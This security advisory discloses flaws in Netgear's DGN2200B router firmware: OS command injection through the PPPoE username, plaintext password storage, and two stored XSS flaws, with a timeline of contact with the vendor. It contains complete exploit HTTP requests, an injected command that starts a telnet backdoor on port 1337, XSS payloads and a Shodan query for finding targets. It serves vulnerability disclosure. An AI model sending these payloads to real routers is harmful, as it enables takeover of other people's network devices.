Device Name: DGN2200B
Vendor: Netgear 

============  Vulnerable Firmware Releases: ============ 

Hardwareversion   DGN2200B
Firmwareversion   V1.0.0.36_7.0.36 - 04/01/2011

============ Device Description: ============ 

Infos: http://www.netgear.com/home/products/wirelessrouters/work-and-play/dgn2200.aspx
http://www.netgear.de/products/home/wireless_routers/work-and-play/DGN2200B.aspx#

Firmware download: http://kb.netgear.com/app/answers/detail/a_id/18990/~/dgn2200%2Fdgn2200b-firmware-version-1.0.0.36

============ Shodan Torks ============ 

Shodan Search: NETGEAR DGN2200

============ Vulnerability Overview: ============ 

* OS Command Injection in the PPOE configuration:

The vulnerability is caused by missing input validation in the pppoe_username parameter and can be exploited to inject and execute arbitrary shell commands. It is possible to upload and execute a backdoor to compromise the device.

Param: pppoe_username

Example Request:
POST /pppoe.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.0.1/BAS_pppoe.htm
Cookie: uid=vjkqK779eJ
Authorization: Basic xxxxx=
Content-Type: application/x-www-form-urlencoded
Content-Length: 593
Connection: close

login_type=PPPoE%28PPP+over+Ethernet%29&pppoe_username=%26%20ping%20-c%201%20192%2e168%2e0%2e2%20%26&pppoe_passwd=69cw20hb&pppoe_servicename=&pppoe_dod=1&pppoe_idletime=5&WANAssign=Dynamic&DNSAssign=0&en_nat=1&MACAssign=0&apply=%C3%9Cbernehmen&runtest=yes&wan_ipaddr=0.0.0.0&pppoe_localip=0.0.0.0&wan_dns_sel=0&wan_dns1_pri=0.0.0.0&wan_dns1_sec=...&wan_hwaddr_sel=0&wan_hwaddr_def=84%3A1B%3A5E%3A01%3AE7%3A05&wan_hwaddr2=84%3A1B%3A5E%3A01%3AE7%3A05&wan_hwaddr_pc=5C%3A26%3A0A%3A2B%3AF0%3A3F&wan_nat=1&opendns_parental_ctrl=0&pppoe_flet_sel=&pppoe_flet_type=&pppoe_temp=&opendns_parental_ctrl=0

=> wait around 30 seconds till the configuration is saved and activated

start telnetd on port 1337:
%26%20telnetd -p 1337%20%26

Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/DGN2200B-OS-Command-Injection-Telnetd-started.png

* Insecure Cryptographic Storage:

There is no password hashing implemented and so it is saved in plain text on the system:

~ # cat /etc/passwd
nobody:*:0:0:nobody:/:/bin/sh
admin:password:0:0:admin:/:/bin/sh
guest:guest:0:0:guest:/:/bin/sh
~ #

* stored XSS

Injecting scripts into the parameter DomainName mode reveals that this parameter is not properly validated for malicious input. You need to be authenticated or you have to find other methods for inserting the malicious JavaScript code.

 -> Zugriffsbeschränkungen -> Dienste -> neuen Dienst anlegen -> Dienstname

 Param: userdefined

Original request:
POST /fw_serv_add.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.0.1/fw_serv.cgi
Cookie: uid=vjkqK779eJ
Authorization: Basic xxxx=
Content-Type: application/x-www-form-urlencoded
Content-Length: 114

userdefined="><img src="0" onerror=alert(1)>&protocol=TCP&portstart=1&portend=5&apply=%C3%9Cbernehmen&which_mode=0

You could also change the request method to HTTP GET:
http://192.168.0.1/fw_serv_add.cgi?userdefined="><img%20src="0"%20onerror=alert(1)>&protocol=TCP&portstart=1&portend=5&apply=%C3%9Cbernehmen&which_mode=0

The scriptcode gets executed if you try to edit this service again.

Screenshot: http://www.s3cur1ty.de/sites/www.s3cur1ty.de/files/images/DGN2200B-Stored-XSS-Dienste.png

* stored XSS:

Injecting scripts into the parameter ssid mode reveals that this parameter is not properly validated for malicious input. You need to be authenticated or you have to find other methods for inserting the malicious JavaScript code.

 -> Wireless-Konfiguration -> Netzwerkname (SSID)

Param: ssid
 
POST /wlg_sec_profile_main.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:16.0) Gecko/20100101 Firefox/16.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://192.168.0.1/WLG_wireless2_2.htm
Cookie: uid=vjkqK779eJ
Authorization: Basic xxxx=
Content-Type: application/x-www-form-urlencoded
Content-Length: 328

ssidSelect=1&ssid=%2522%253E%253Cscript%253Ealert%25281%2529%253&WRegion=5&w_channel=0&opmode=20n&enable_ap=1&enable_ssid_bc=1&security_type=AUTO-PSK&passphrase=friendlytrain824&Apply=%C3%9Cbernehmen&tempSetting=0&tempRegion=5&initChannel=0&h_opmode=20n&wds_enable=0&ver_type=WW&pfChanged=0&ssid_sel_submit=0&secure_sel_submit=0

============ Solution ============

No known solution available.

============ Credits ============

The vulnerability was discovered by Michael Messner
Mail: devnull#at#s3cur1ty#dot#de
http://www.s3cur1ty.de/m1adv2013-015
Twitter: @s3cur1ty_de

============ Time Line: ============

17.12.2012 - discovered vulnerability
18.12.2012 - Privately reported all details to vendor
18.12.2012 - vendor responded that they will check the reported vulnerability details
29.01.2013 - vendor contacted me to test a new firmware
29.01.2013 - /me responded that I need more details about the fixes before I will test the new firmware
30.01.2013 - vendor reponded that I should just check it
31.01.2013 - /me responded that I will not check the firmware if they do not provide more details (do not waste my time again!)
11.02.2013 - vendor responded that he has to declare it internally
15.02.2013 - public release

===================== Advisory end =====================